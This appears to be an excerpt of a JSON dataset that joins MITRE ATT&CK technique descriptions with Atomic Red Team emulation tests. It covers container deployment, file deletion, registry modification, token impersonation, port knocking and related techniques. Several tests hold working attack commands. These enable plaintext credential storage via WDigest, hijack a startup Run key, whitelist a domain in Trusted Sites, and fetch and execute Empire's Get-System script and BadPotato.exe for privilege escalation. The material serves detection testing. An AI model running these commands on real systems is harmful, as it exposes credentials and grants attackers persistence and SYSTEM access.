- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1610",
- "url": "https://attack.mitre.org/techniques/T1610"
- },
- {
- "source_name": "Docker Containers API",
- "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container",
- "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubernetes Dashboard",
- "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubeflow Pipelines",
- "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/",
- "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021."
- },
- {
- "source_name": "Aqua Build Images on Hosts",
- "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host",
- "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."
- }
- ],
- "modified": "2022-04-01T13:14:58.939Z",
- "name": "Deploy a container",
- "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create
and start
APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Container: Container Creation",
- "Pod: Pod Modification",
- "Application Log: Application Log Content",
- "Pod: Pod Creation",
- "Container: Container Start"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1610"
- },
- "atomic_tests": []
- },
- "T1107": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Walker Johnson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:17.915Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1107",
- "url": "https://attack.mitre.org/techniques/T1107"
- },
- {
- "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
- "source_name": "Trend Micro APT Attack Tools"
- }
- ],
- "modified": "2020-01-31T12:36:39.086Z",
- "name": "File Deletion",
- "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1112": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bartosz Jerzman",
- "Travis Smith, Tripwire",
- "David Lu, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:23.587Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1112",
- "url": "https://attack.mitre.org/techniques/T1112"
- },
- {
- "external_id": "CAPEC-203",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/203.html"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx",
- "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
- "source_name": "Microsoft Reg"
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/reghide",
- "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
- "source_name": "Microsoft Reghide NOV 2006"
- },
- {
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/",
- "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
- "source_name": "TrendMicro POWELIKS AUG 2014"
- },
- {
- "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353",
- "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
- "source_name": "SpectorOps Hiding Reg Jul 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx",
- "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
- "source_name": "Microsoft Remote"
- },
- {
- "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657",
- "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
- "source_name": "Microsoft 4657 APR 2017"
- },
- {
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull",
- "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
- "source_name": "Microsoft RegDelNull July 2016"
- }
- ],
- "modified": "2020-08-13T20:02:49.641Z",
- "name": "Modify Registry",
- "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Deletion",
- "Command: Command Execution",
- "Process: OS API Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1112"
- },
- "atomic_tests": [
- {
- "name": "Modify Registry of Current User Profile - cmd",
- "auto_generated_guid": "1324796b-d0f6-455a-b4ae-21ffee6aa6b9",
- "description": "Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message \"The operation completed successfully.\"\nwill be displayed. Additionally, open Registry Editor to view the new entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /t REG_DWORD /v HideFileExt /d 1 /f\n",
- "cleanup_command": "reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideFileExt /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Modify Registry of Local Machine - cmd",
- "auto_generated_guid": "282f929a-6bc5-42b8-bd93-960c3ba35afe",
- "description": "Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when\nCMD is ran as Administrative rights. Upon execution, the message \"The operation completed successfully.\"\nwill be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_executable": {
- "description": "New executable to run on startup instead of Windows Defender",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "command": "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f\n",
- "cleanup_command": "reg delete HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SecurityHealth /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Modify registry to store logon credentials",
- "auto_generated_guid": "c0413fb5-33e2-40b7-9b6f-60b29f4a7a18",
- "description": "Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).\nUpon execution, the message \"The operation completed successfully.\" will be displayed.\nAdditionally, open Registry Editor to view the modified entry in HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n",
- "cleanup_command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Add domain to Trusted sites Zone",
- "auto_generated_guid": "cf447677-5a4e-4937-a82c-e47d254afd57",
- "description": "Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.\nUpon execution, details of the new registry entries will be displayed.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\.\n\nhttps://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "bad_domain": {
- "description": "Domain to add to trusted site zone",
- "type": "string",
- "default": "bad-domain.com"
- }
- },
- "executor": {
- "command": "$key= \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\#{bad_domain}\\\"\n$name =\"bad-subdomain\"\nnew-item $key -Name $name -Force\nnew-itemproperty $key$name -Name https -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name http -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name * -Value 2 -Type DWORD;\n",
- "cleanup_command": "$key = \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\#{bad_domain}\\\"\nRemove-item $key -Recurse -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Javascript in registry",
- "auto_generated_guid": "15f44ea9-4571-4837-be9e-802431a7bfae",
- "description": "Upon execution, a javascript block will be placed in the registry for persistence.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name T1112 -Value \"'\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1480": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Nick Carr, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
- "created": "2019-01-31T02:10:08.261Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1480",
- "url": "https://attack.mitre.org/techniques/T1480"
- },
- {
- "source_name": "FireEye Outlook Dec 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html",
- "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."
- },
- {
- "source_name": "FireEye Kevin Mandia Guardrails",
- "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/",
- "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.",
- "modified": "2022-05-03T02:39:29.314Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Execution Guardrails",
- "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host Forensic Analysis",
- "Signature-based Detection",
- "Static File Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1134.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
- "type": "attack-pattern",
- "created": "2020-02-18T16:39:06.289Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.001",
- "url": "https://attack.mitre.org/techniques/T1134/001"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
- "source_name": "Microsoft Command-line Logging"
- }
- ],
- "modified": "2020-03-26T21:29:18.608Z",
- "name": "Access Token Manipulation: Token Impersonation/Theft",
- "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex)
. The token can then be used with ImpersonateLoggedOnUser
to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken
to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex)
, ImpersonateLoggedOnUser
, and SetThreadToken
and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "System access controls",
- "File system access controls"
- ],
- "identifier": "T1134.001"
- },
- "atomic_tests": [
- {
- "name": "Named pipe client impersonation",
- "auto_generated_guid": "90db9e27-8e7c-4c04-b602-a45927884966",
- "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "`SeDebugPrivilege` token duplication",
- "auto_generated_guid": "34f0a430-9d04-4d98-bcb5-1989f14719f0",
- "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Launch NSudo Executable",
- "auto_generated_guid": "7be1bc0f-d8e5-4345-9333-f5f67d742cb9",
- "description": "Launches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "nsudo_path": {
- "description": "Path to the NSudo bat file",
- "type": "path",
- "default": "$env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NSudo.bat must exist in the specified path #{nsudo_path}\n",
- "prereq_command": "if (Test-Path #{nsudo_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{nsudo_path} -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bad Potato",
- "auto_generated_guid": "9c6d799b-c111-4749-a42f-ec2f8cb51448",
- "description": "https://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "BadPotato.exe must exist in the temp directory\n",
- "prereq_command": "if (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n"
- }
- ],
- "executor": {
- "command": "cd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n",
- "cleanup_command": "taskkill /f /im notepad.exe\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1205.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
- "type": "attack-pattern",
- "created": "2020-07-01T18:23:25.002Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205.001",
- "url": "https://attack.mitre.org/techniques/T1205/001"
- },
- {
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
- "source_name": "Hartrell cd00r 2002"
- }
- ],
- "modified": "2022-03-11T18:31:23.996Z",
- "name": "Port Knocking",
- "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1564.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Omkar Gudhate"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
- "created": "2020-03-13T20:12:40.876Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.002",
- "url": "https://attack.mitre.org/techniques/T1564/002"
- },
- {
- "source_name": "Cybereason OSX Pirrit",
- "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
- "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021."
- },
- {
- "source_name": "Apple Support Hide a User Account",
- "url": "https://support.apple.com/en-us/HT203998",
- "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021."
- },
- {
- "source_name": "FireEye SMOKEDHAM June 2021",
- "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html",
- "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."
- },
- {
- "source_name": "Hide GDM User Accounts",
- "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/",
- "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022."
- },
- {
- "source_name": "US-CERT TA18-074A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A",
- "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
